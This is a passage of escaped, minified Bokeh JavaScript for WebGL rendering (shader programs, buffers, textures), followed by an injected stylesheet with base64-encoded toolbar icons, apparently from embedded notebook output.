window.RegExp(\\\"(\\\\\\\\w+)\\\\\\\\s*(\\\\\\\\[(\\\\\\\\d+)\\\\\\\\])\\\\\\\\s*\\\"),a=o.getProgramParameter(this.handle,o.ACTIVE_UNIFORMS),t=o.getProgramParameter(this.handle,o.ACTIVE_ATTRIBUTES),v=[],\\\"object\\\"!=typeof(g=[[s=[],t,o.getActiveAttrib,o.getAttribLocation],[v,a,o.getActiveUniform,o.getUniformLocation]])||Array.isArray(g)||(g=Object.keys(g)),p=0;p<g.length;p+=1)for(m=g[p],e=(u=m)[0],n=u[1],i=u[2],r=u[3],l=0;l<n;l+=1){if(_=i.call(o,this.handle,l),f=_.name,c=f.match(d),y(c))for(f=c[1],h=0;h<_.size;h+=1)b.call(e,[f+\\\"[\\\"+h+\\\"]\\\",_.type]);else b.call(e,[f,_.type]);this.locations[f]=r.call(o,this.handle,f)}return x(function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=s)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(t[0]);return a}.apply(this),function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=v)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(t[0]);return a}.apply(this))},i.prototype.set_texture=function(t,e){var n,a,s;if(!y(this._linked))throw(n=new Error(\\\"RuntimeError:Cannot set uniform when program has no code\\\")).name=\\\"RuntimeError\\\",n;return a=w.call(this.locations,t,-1),y(a<0)?g(t,this._known_invalid)||(b.call(this._known_invalid,t),u.log(\\\"Variable \\\"+t+\\\" is not an active texture\\\")):(g(t,this._unset_variables)&&P.call(this._unset_variables,t),this.activate(),s=function(){return\\\"function\\\"==typeof this.keys?this.keys.apply(this,arguments):Object.keys(this)}.call(this._samplers).length,g(t,this._samplers)&&(s=this._samplers[t][this._samplers[t].length-1]),this._samplers[t]=[e._target,e.handle,s],this._gl.uniform1i(a,s)),null},i.prototype.set_uniform=function(t,e,n){var a,s,i,r,o,l,_;if(!y(this._linked))throw(i=new Error(\\\"RuntimeError:Cannot set uniform when program has no code\\\")).name=\\\"RuntimeError\\\",i;if(o=w.call(this.locations,t,-1),y(o<0))return g(t,this._known_invalid)||(b.call(this._known_invalid,t),u.log(\\\"Variable \\\"+t+\\\" is not an active uniform\\\")),null;if(g(t,this._unset_variables)&&P.call(this._unset_variables,t),s=1,c.call(e,\\\"mat\\\")||(a=w.call({int:\\\"float\\\",bool:\\\"float\\\"},e,function(t){if(this.constructor!==String)return this.lstrip.apply(this,arguments);t=void 0===t?\\\" \\\\t\\\\r\\\\n\\\":t;for(var e=0;e<this.length;e++)if(t.indexOf(this[e])<0)return this.slice(e);return\\\"\\\"}.call(e,\\\"ib\\\")),s=Math.floor(n.length/this.ATYPEINFO[a][0])),y(1<s))for(l=0;l<s;l+=1)g(t+\\\"[\\\"+l+\\\"]\\\",this._unset_variables)&&g(_=t+\\\"[\\\"+l+\\\"]\\\",this._unset_variables)&&P.call(this._unset_variables,_);return r=this.UTYPEMAP[e],this.activate(),c.call(e,\\\"mat\\\")?this._gl[r](o,!1,n):this._gl[r](o,n),null},i.prototype.set_attribute=function(t,e,n,a,s){var i,r,o,l,_,h,c,f;if(a=void 0===a?0:a,s=void 0===s?0:s,!y(this._linked))throw(r=new Error(\\\"RuntimeError:Cannot set attribute when program has no code\\\")).name=\\\"RuntimeError\\\",r;return h=n instanceof d,_=w.call(this.locations,t,-1),y(_<0)?g(t,this._known_invalid)||(b.call(this._known_invalid,t),y(h)&&y(0<s)||u.log(\\\"Variable \\\"+t+\\\" is not an active attribute\\\")):(g(t,this._unset_variables)&&P.call(this._unset_variables,t),this.activate(),y(h)?(f=this.ATYPEINFO[e],c=f[0],l=f[1],o=\\\"vertexAttribPointer\\\",i=[c,l,this._gl.FALSE,a,s],this._attributes[t]=[n.handle,_,o,i]):(o=this.ATYPEMAP[e],this._attributes[t]=[0,_,o,n])),null},i.prototype._pre_draw=function(){var t,e,n,a,s,i,r,o,l,_,h,c;for(c in this.activate(),r=this._samplers)r.hasOwnProperty(c)&&(c=r[c],l=(i=c)[0],o=i[1],_=i[2],this._gl.activeTexture(x(this._gl.TEXTURE0,_)),this._gl.bindTexture(l,o));for(c in s=this._attributes)s.hasOwnProperty(c)&&(c=s[c],h=(a=c)[0],e=a[1],n=a[2],t=a[3],y(h)?(this._gl.bindBuffer(this._gl.ARRAY_BUFFER,h),this._gl.enableVertexAttribArray(e)):(this._gl.bindBuffer(this._gl.ARRAY_BUFFER,null),this._gl.disableVertexAttribArray(e)),this._gl[n].apply(this._gl,[].concat([e],t)));return y(this._validated)||(this._validated=!0,this._validate()),null},i.prototype._validate=function(){var t;if(this._unset_variables.length&&u.log(\\\"Program has unset variables: \\\"+this._unset_variables),this._gl.validateProgram(this.handle),!y(this._gl.getProgramParameter(this.handle,this._gl.VALIDATE_STATUS)))throw u.log(this._gl.getProgramInfoLog(this.handle)),(t=new Error(\\\"RuntimeError:Program validation error\\\")).name=\\\"RuntimeError\\\",t;return null},i.prototype.draw=function(t,e){var n,a,s,i,r;if(!y(this._linked))throw(a=new Error(\\\"RuntimeError:Cannot draw program if code has not been set\\\")).name=\\\"RuntimeError\\\",a;return l(this._gl,\\\"before draw\\\"),y(e instanceof o)?(this._pre_draw(),e.activate(),n=e._buffer_size/2,i=this._gl.UNSIGNED_SHORT,this._gl.drawElements(t,n,i,0),e.deactivate()):(s=(r=e)[0],n=r[1],y(n)&&(this._pre_draw(),this._gl.drawArrays(t,s,n))),l(this._gl,\\\"after draw\\\"),null},((a=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,a.prototype._class_name=\\\"Buffer\\\",a.prototype._target=null,a.prototype._usage=35048,a.prototype._create=function(){return this.handle=this._gl.createBuffer(),this._buffer_size=0,null},a.prototype.delete=function(){return this._gl.deleteBuffer(this.handle),null},a.prototype.activate=function(){return this._gl.bindBuffer(this._target,this.handle),null},a.prototype.deactivate=function(){return this._gl.bindBuffer(this._target,null),null},a.prototype.set_size=function(t){return v(t,this._buffer_size)||(this.activate(),this._gl.bufferData(this._target,t,this._usage),this._buffer_size=t),null},a.prototype.set_data=function(t,e){return this.activate(),this._gl.bufferSubData(this._target,t,e),null},(d=function(){_(this,arguments)}).prototype=Object.create(a.prototype),d.prototype._base_class=a.prototype,d.prototype._class_name=\\\"VertexBuffer\\\",d.prototype._target=34962,(o=function(){_(this,arguments)}).prototype=Object.create(a.prototype),o.prototype._base_class=a.prototype,o.prototype._class_name=\\\"IndexBuffer\\\",o.prototype._target=34963,((r=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,r.prototype._class_name=\\\"Texture2D\\\",r.prototype._target=3553,r.prototype._types={Int8Array:5120,Uint8Array:5121,Int16Array:5122,Uint16Array:5123,Int32Array:5124,Uint32Array:5125,Float32Array:5126},r.prototype._create=function(){return this.handle=this._gl.createTexture(),this._shape_format=null},r.prototype.delete=function(){return this._gl.deleteTexture(this.handle),null},r.prototype.activate=function(){return this._gl.bindTexture(this._target,this.handle),null},r.prototype.deactivate=function(){return this._gl.bindTexture(this._target,0),null},r.prototype._get_alignment=function(t){var e,n,a;for(\\\"object\\\"!=typeof(n=[4,8,2,1])||Array.isArray(n)||(n=Object.keys(n)),a=0;a<n.length;a+=1)if(e=n[a],v(t%e,0))return e;return null},r.prototype.set_wrapping=function(t,e){return this.activate(),this._gl.texParameterf(this._target,this._gl.TEXTURE_WRAP_S,t),this._gl.texParameterf(this._target,this._gl.TEXTURE_WRAP_T,e),null},r.prototype.set_interpolation=function(t,e){return this.activate(),this._gl.texParameterf(this._target,this._gl.TEXTURE_MIN_FILTER,t),this._gl.texParameterf(this._target,this._gl.TEXTURE_MAG_FILTER,e),null},r.prototype.set_size=function(t,e){var n,a,s;return n=(a=t)[0],s=a[1],v([n,s,e],this._shape_format)||(this._shape_format=[n,s,e],this.activate(),this._gl.texImage2D(this._target,0,e,s,n,0,e,this._gl.UNSIGNED_BYTE,null)),this.u_shape=[n,s],null},r.prototype.set_data=function(t,e,n){var a,s,i,r,o,l,_,h,c,f;if(v(e.length,2)&&(e=[e[0],e[1],1]),this.activate(),i=this._shape_format[2],o=(l=e)[0],h=l[1],l[2],f=(_=t)[0],c=_[1],null===(r=w.call(this._types,n.constructor.name,null)))throw(s=new Error(\\\"ValueError:Type \\\"+n.constructor.name+\\\" not allowed for texture\\\")).name=\\\"ValueError\\\",s;return a=this._get_alignment(m(e[e.length-2],e[e.length-1])),v(a,4)||this._gl.pixelStorei(this._gl.UNPACK_ALIGNMENT,a),this._gl.texSubImage2D(this._target,0,c,f,h,o,i,r,n),v(a,4)||this._gl.pixelStorei(this._gl.UNPACK_ALIGNMENT,4),null},((p=function(){_(this,arguments)}).prototype=Object.create(r.prototype))._base_class=r.prototype,p.prototype._class_name=\\\"Texture3DLike\\\",p.prototype.GLSL_SAMPLE_NEAREST=\\\"\\\\n        vec4 sample3D(sampler2D tex, vec3 texcoord, vec3 shape, vec2 tiles) {\\\\n            shape.xyz = shape.zyx;  // silly row-major convention\\\\n            float nrows = tiles.y, ncols = tiles.x;\\\\n            // Don't let adjacent frames be interpolated into this one\\\\n            texcoord.x = min(texcoord.x * shape.x, shape.x - 0.5);\\\\n            texcoord.x = max(0.5, texcoord.x) / shape.x;\\\\n            texcoord.y = min(texcoord.y * shape.y, shape.y - 0.5);\\\\n            texcoord.y = max(0.5, texcoord.y) / shape.y;\\\\n\\\\n            float zindex = floor(texcoord.z * shape.z);\\\\n\\\\n            // Do a lookup in the 2D texture\\\\n            float u = (mod(zindex, ncols) + texcoord.x) / ncols;\\\\n            float v = (floor(zindex / ncols) + texcoord.y) / nrows;\\\\n\\\\n            return texture2D(tex, vec2(u,v));\\\\n        }\\\\n    \\\",p.prototype.GLSL_SAMPLE_LINEAR=\\\"\\\\n        vec4 sample3D(sampler2D tex, vec3 texcoord, vec3 shape, vec2 tiles) {\\\\n            shape.xyz = shape.zyx;  // silly row-major convention\\\\n            float nrows = tiles.y, ncols = tiles.x;\\\\n            // Don't let adjacent frames be interpolated into this one\\\\n            texcoord.x = min(texcoord.x * shape.x, shape.x - 0.5);\\\\n            texcoord.x = max(0.5, texcoord.x) / shape.x;\\\\n            texcoord.y = min(texcoord.y * shape.y, shape.y - 0.5);\\\\n            texcoord.y = max(0.5, texcoord.y) / shape.y;\\\\n\\\\n            float z = texcoord.z * shape.z;\\\\n            float zindex1 = floor(z);\\\\n            float u1 = (mod(zindex1, ncols) + texcoord.x) / ncols;\\\\n            float v1 = (floor(zindex1 / ncols) + texcoord.y) / nrows;\\\\n\\\\n            float zindex2 = zindex1 + 1.0;\\\\n            float u2 = (mod(zindex2, ncols) + texcoord.x) / ncols;\\\\n            float v2 = (floor(zindex2 / ncols) + texcoord.y) / nrows;\\\\n\\\\n            vec4 s1 = texture2D(tex, vec2(u1, v1));\\\\n            vec4 s2 = texture2D(tex, vec2(u2, v2));\\\\n\\\\n            return s1 * (zindex2 - z) + s2 * (z - zindex1);\\\\n        }\\\\n    \\\",p.prototype._get_tile_info=function(t){var e,n,a,s;if(n=this._gl.getParameter(this._gl.MAX_TEXTURE_SIZE),s=Math.floor(n/t[1]),s=Math.min(s,t[0]),a=window.Math.ceil(t[0]/s),y(m(a,t[2])>n))throw(e=new Error(\\\"RuntimeError:Cannot fit 3D data with shape \\\"+t+\\\" onto simulated 2D texture.\\\")).name=\\\"RuntimeError\\\",e;return[s,a]},p.prototype.set_size=function(t,e){var n,a,s,i;return i=this._get_tile_info(t),a=i[0],n=i[1],s=[m(t[1],a),m(t[2],n)],p.prototype._base_class.set_size.call(this,s,e),this.u_shape=[t[0],t[1],t[2]],this.u_tiles=[n,a],null},p.prototype.set_data=function(s,t,e){var n,a,i,r,o,l,_,h,c,f,d,u,g;if(v(t.length,3)&&(t=[t[0],t[1],t[2],1]),!function(t){for(var e=0;e<t.length;e++)if(!y(t[e]))return!1;return!0}(function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=s)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(v(t,0));return a}.apply(this)))throw(r=new Error(\\\"ValueError:Texture3DLike does not support nonzero offset (for now)\\\")).name=\\\"ValueError\\\",r;if(c=this._get_tile_info(t),l=c[0],o=c[1],h=[m(t[1],l),m(t[2],o),t[3]],v(o,1))p.prototype._base_class.set_data.call(this,[0,0],h,e);else for(n=e.constructor,g=new n(m(m(h[0],h[1]),h[2])),p.prototype._base_class.set_data.call(this,[0,0],h,g),u=0;u<t[0];u+=1)f=[Math.floor(u/o),u%o],_=f[0],a=f[1],i=Math.floor(e.length/t[0]),d=e.slice(m(u,i),m(u+1,i)),p.prototype._base_class.set_data.call(this,[m(_,t[1]),m(a,t[2])],t.slice(1),d);return null},e.exports={Buffer:a,GlooObject:s,IndexBuffer:o,Program:i,Texture2D:r,Texture3DLike:p,VertexBuffer:d,check_error:l,console:u}}})}(this);\\n      //# sourceMappingURL=bokeh-gl.min.js.map\\n      /* END bokeh-gl.min.js */\\n    },\\n    \\n    function(Bokeh) {\\n      Bokeh.set_log_level(\\\"info\\\");\\n    },\\n    \\n    function(Bokeh) {\\n      \\n    },\\n    function(Bokeh) {\\n      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh.min.css */\\\\n.bk-root{font-family:\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,sans-serif;font-size:10pt;position:relative;width:auto;height:auto}.bk-root .bk-shading{position:absolute;display:block;border:1px dashed green}.bk-root .bk-tile-attribution a{color:black}.bk-root .bk-tool-icon-box-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg0kduFrowAAAIdJREFUWMPtVtEKwCAI9KL//4e9DPZ3+wP3KgOjNZouFYI4C8q7s7DtB1lGIeMoRMRinCLXg/ML3EcFqpjjloOyZxRntxpwQ8HsgHYARKFAtSFrCg3TCdMFCE1BuuALEXJLjC4qENsFVXCESZw38/kWLOkC/K4PcOc/Hj03WkoDT3EaWW9egQul6CUbq90JTwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-box-zoom{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg82t254aQAAAkBJREFUWMPN11+E1FEUB/DPTFn2qaeIpcSwr5NlUyJiKWVXWUqvlUh/iE3RY9mUekkPPURtLKNRrFJEeuphGfUUaVliiX1aVjGs6aG7+XX9ZnZ+d2fTl2vmnHvPPfeee/79Sk+may2/UQq/q7Qu+bAJoxjHIKqB/wlfUMcMVqI9bLZ+DGIKwzlzQ2GcxCx2xwvKOUKlaHTiX8bHNspjDONHkOmJBW5jIof/FvPh/06MZOb6cRc7cGn1AKUE5cdzlM/gAr5F/O24H3xkFRfxAbVygvK+cIsspjGWo1zgjeFpxL+BvnLw7laBA4xjIFJwrgu52DoVjKdY4HBEX8dSF3JLYe1fe6UcYCii3xWQjdfuSTnAtoheKCC7GNED5Zx4L4qt61jbTLHA94geKSC7P7ZeShQ0Inoi1IJuEOeORooFXkV0FZNdZs5qvFfKAeqYy7nZ6yg//HG0MBfffh71lFrQDCW2EvEP4mt4okZUDftz9rmGZkotmMxJRtlisy+MTniAWrty3AlXw0hFM2TD89l+oNsoOJXjbIs4EpqNtTCLXbiZ0g+M4mFObj8U3vsNjoZCVcmk60ZwthpepLZkB/AsivWfOJZxtpUQHfWib7KWDwzjeegBZJSdKFiE2qJTFFTwElsi/unQ/awXrU4WGMD7nOJxBY/1EO2iYConq93CHT1GOwucjdqnRyFz+VcHmMNefMY9nNkA3SWUOoXhQviSWQ4huLIRFlirFixnQq/XaKXUgg2xQNGv4V7x/RcW+AXPB3h7H1PaiQAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-zoom-in{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgsUBmL8iQAAA2JJREFUWMO9l12IlFUYx3//MzPrLpSjkm5oN4FFIWVEl66IQlFYwtLOzozsjHdGRSCRF0sfBEXRVV0FQuQiLm5CZNBFgRRaRLVFhbJ2EdiN5gbK7toObTPn6eYdPTvNzPvOBz5Xh/ec5/n/n89zXtEHmZqeSXSuXBz/3zfdKvBWJHQrwZuRcP0El+QkbQXeBX6WZEgm6TtJk5lM5o4Lc+cV6qpf4Ga20Tm338zeATItVK9Ker6yvPzp4NDQ3+XieGsCU9MzTYumGbhz7m4ze9/MHgvBgItACrgfGAj2jgAvAYs3wlEujjc13kii8YyZrXXOfWhmo9GnFUlvOOemarVapVqtkslksmb2KjARqL62ecuWN9NxbRInzrldAXhV0uFSIfdew7G/gNLU9MwS8CwSmE3Oz88fcXG5blfpqVRq0Ix8VIAAX0XgrVL7HDCHGcCaWrV60LUBN8Dae58aQIxEqcA592I9M610JL0cpG/U9TIHJNKY3RV5z0R+7Nd4HZ0P1g/2RMBuegLAsRMnb4vT8d5vqKfMzOgtAlADrkmqGywmiMBTwfr3dC9j1Xv/r6Tvg/5/5ejxE6cO7M9faVbQZrYNOFSPmqQvVo9FKexvi5uWX58943aM7DwAfBDY+FbSCxP5sdkGx55GeguzrUEXPaSo2pFkAbiSZQCAzZJOmdkjwd6SpB/M7KykQTPbA2wDhoIzRzcNDx9MJwGNIXdJ0mEzmwbujL7dbma7gd03A7lKfnTOvf74nl0r6bonTUbujRSUCrm2d4L3/kvn3JPe+8+BDW2i9o+kT7z3kxP5sYsA6W47oE64TsR7P9tQL4vA2mh9WdIscKxUyJ0M7aR7acOGzikD65EQLEjaa2ZXzMwDFeB6qZBbbLTRE4EGeSaozNOZgYFf8qP7lmIvs354n0qlHpB0T7B9Ogl4IgJJrmjv/SiQjbrkD+BMUkfSbYATPdckrTOzkciWAXOlQu5cYgLdPEIapud9wMOR9zVJH3ViKx333mtHMJvNuoWFhZ3A+ojMcja77njXBEKwJJfTcqUyCIQ34Mf7nnh0paMnXacFuGoC1mr3AtuDfLzd8Zuyl+rfuGn4HLAD+Az4qZQf+61TAj0Noj8vX6oC35SL43u7teG6rf5+iXppwW7/JUL5D03qaFRvvUe+AAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-zoom-out{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgsHgty9VwAAA0FJREFUWMO9l09oXFUUxn/fmXlpItppi22k7UJBRSlVkCytSAuKUloIdjKT0El3FXVXdVFKRVAQV7qQohsNwdA0UFvBhYtqUVyIVlRaogtFQVq7qSTVjA3z3nHzBq/jvPmTN/Ss7rv3nvN99/y794kByMzcfE/7picn/jenmwWeRUI3E7wdCRskuCSTdDfwBvCtJEdySV9KOhpF0e0/LF5SqKtBgbv7ZjObcvfXgShD9Zqk5+orKx8Oj4z8NT05kU1gZm6+bdK0Azezu9z9hLs/HoIBvwAF4H5gKFh7B3gBWFY3460kWve4+3oze9fdx9OpVUmvmNlMHMf1RqNBFEUldz8OHAxUX9q6bduryut+Sfvc/Wz62ZD0fK1afjND9y3gGSRwv1GMojstTxUUCoVhdyopEYDzKXjWwZ4FFnEHWBc3Goet00m7lZlZYQixKw0FZnakGZksHUnHgvCN5/KARBH37enpOVg58H13HV0Kxg/kIuD/ngSA2ZMLt3bTSZJkUzNk7k4+D0AM/CGpaXCyBw/sC8Y/qZd2GpZiuL9YLN4Sx/HpoP5/c/exQ1OVq+1yyt13SLoArEsJnMjlgfOffvK3u58Kprab2QezJxfG2iTzUzI70wRPG9jbmpmb95SNB9mpzp7/j2yVdNbdx4K565K+cvfPJQ27+x5gBzAS7Hlvy+jo4WIvoC3kWpcvS3rR3eeAO9K529x9N7C7zX6AC2b28hN7Hl1Vt44niVq13LUjmtlYkiQfA5s6eO+GpDNJkhw9NFX5ueNt2ARodyF1IHIN2JiOl4H16fiKpK+B2Vq1vBAqFAf4IJkGNiIhWJK0192vunsC1IE/a9XycquNXARa5OnApeeioaHvKuP7r3dTGsiLqFAo7JR0T7B8rhfwXARa2us4UEqr5Ffgs151i/08oTNKdIO770ptObBYq5Yv5ibQq/sl3Qc8lJ4+lnSqH1vFfp9koZRKJVtaWnqkWXqSVkqlDe+vmUDWpZMlK/X6MBDegKf3P/nYaj8ErN9fqZBYEsf3Ag8G8Xit33BaniTcvGX0IvAw8BHwTa1y4Md+CeRqRL9fudwAvpienNi7Vhu21uwflOT+L+i1X2TJP57iUvUFtHWsAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-help{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABltpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIj4KICAgICAgICAgPHRpZmY6UmVzb2x1dGlvblVuaXQ+MjwvdGlmZjpSZXNvbHV0aW9uVW5pdD4KICAgICAgICAgPHRpZmY6Q29tcHJlc3Npb24+NTwvdGlmZjpDb21wcmVzc2lvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzI8L3RpZmY6WFJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgICAgIDx0aWZmOllSZXNvbHV0aW9uPjcyPC90aWZmOllSZXNvbHV0aW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFlEaW1lbnNpb24+MzI8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+MzI8L2V4aWY6UGl4ZWxYRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpDb2xvclNwYWNlPjE8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPHhtcE1NOkluc3RhbmNlSUQ+eG1wLmlpZDpBODVDNDBDMzIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+eG1wLmRpZDpBODVDNDBDNDIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDpBODVDNDBDMTIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwvc3RSZWY6aW5zdGFuY2VJRD4KICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+eG1wLmRpZDpBODVDNDBDMjIwQjMxMUU0ODREQUYzNzM5QTM2MjBCRTwvc3RSZWY6ZG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPGRjOnN1YmplY3Q+CiAgICAgICAgICAgIDxyZGY6U2VxLz4KICAgICAgICAgPC9kYzpzdWJqZWN0PgogICAgICAgICA8eG1wOk1vZGlmeURhdGU+MjAxNjoxMToyOCAxMToxMTo4MjwveG1wOk1vZGlmeURhdGU+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+UGl4ZWxtYXRvciAzLjY8L3htcDpDcmVhdG9yVG9vbD4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+Cphjt2AAAAT7SURBVFgJxRdbaFxFdGb2bhui227BWrsVKYgf2kJUbP9EUPuzEB803WTXJjH61Q/7Ya1+CMYKEVTsh4J/EpvY7BoabUiNiA8s1p+4KIhpoUUEselHqyS76TbZ3HuP58ydc3d2u4+IkQxczpz3mZkzZ86VYpXjvenpjZsLhUcliE4AuUuASAgptmt1EFdwPiclzIIUUwubNn17OJlcXo1p2UpodHRiux9xB1Eug1+slbzhFxGOKc851tu7/0oznYYBDA8Pt0U2tL8KQryIq2tvZqQhD0QJHRz3yqWhgYGBpXpydQMwqz6NCnurleCSADkJEfgKfOePqL80R/wV1ZaQyr1LenKfkPCkEPKeaj0xg7vxVL3duCmA0Vyuw/fl52hgBxsBED+h4Cv9z3R/zbRm8MTJTx7HQN7GQB6w5C4L4SX7M5lfLBpurjXMyvNIShiyi0l1pL8n9b7EDGPR8fHxzSsQ6XDB3618/xqo6Pk25V5MpVJllgHM1BO58RdQ612kOYZ+GXdij70TYQB05mpj+1kU5G2fB+l3PZtOf8NGx6ambnMXb3yAxg8wjSEG6OKKR9oicBQD+ZvpH2Wzj0lQpxCPG9qMv1x6hHNCsSAlHM7ZOa682vlI9tRDbvHGbD3nZAPpDoD/3JIrLpAs26UFkC3EMUA99hpfGtEBfJjNJnS2Gwnadnvl+Xw+iuc3DAJuNyIaSCHpilVldyDjjUxj3WDZIAhxhHHyRcdNuA7AAfUaXzVKODpzFiZ4/uLvh5G+m2no+C/pyIf7MqlEJB7bpqR6nXkEUfbeawuLaZsW2ISfNQ2vtaktQlGFQyIVGT0o2+2EC4iQNGwjBIN9qdQ5Qg4mk4X4rW3vCClLtowE2FOFUxKDfNmiZci3ovKKRFPh4FK9q4Zbdr+lKKJiA13TcHR2dmLBgdmQ0GAS2MZaEowY+XbAk09IvgtYZGp16SyvFhaHcIUh645t8T9DBCcnz5zZ4hZLu3DzK2QlL1QQa0Y+pHiJKPSuOGj3PmZTheM5w2TwqBxnvBZOTk7G5gvXJ5Aelms8wnJURL+olSWcfEhf6gDoUXPMq6ZlqbzWU2pE+3hi4s6F68tfIj9cBMlikr7Z0/P0b/X0yIcUXsDCF1WhtL4OROHaXk+xlkbV0Cu732Nmhc4peaWSg73pA8dq5RkvO37ldUTfXCKZv2q45MkhvG87WQEzpCCUSvV1d9GONBy3lMvgKSwrZig8gjAietWY0QriylO2jIo4yVbOSb7KB/qmI9BPKjHpSSXYauRyn92Nq9/Kcrj13x3s3v8D481glQ/0raiNYgX9njPSBOImbrHZePl+tfFmc9sH+Xaoh8NjOKSVdDMhjjYzQLy+dFceH5+IJQf9VYXX4tROg4ZFU8m31M3mfPEqUoJqCGJfvWpo2xnNfdrhC28n06SCeSzNZxlvBINGRXCtKS7EY1uV6V7HWAm38y1cXaXsMcOCvr9ySPj+af7A1U2HJXHzVNvUXVLIGyPf+jV0pf8GHoN+TLAyPkidTCi2RpPApmnR0Bd1zGRaB/B8Oj2HSw7LLbVR1MmskW8RdEWVXSJf3JbpAMgRtc4IZoxTh9qotQjCasm46M0YX9pV1VmbpvRH5OwwgdRtSg2vKaAz/1dNKVtb17Y8DCL4HVufHxMOYl1/zTgIgiYvBnFKfaNp3YjTdPz3n9Na8//X7/k/O1tdwopcZlcAAAAASUVORK5CYII=\\\\\\\")}.bk-root 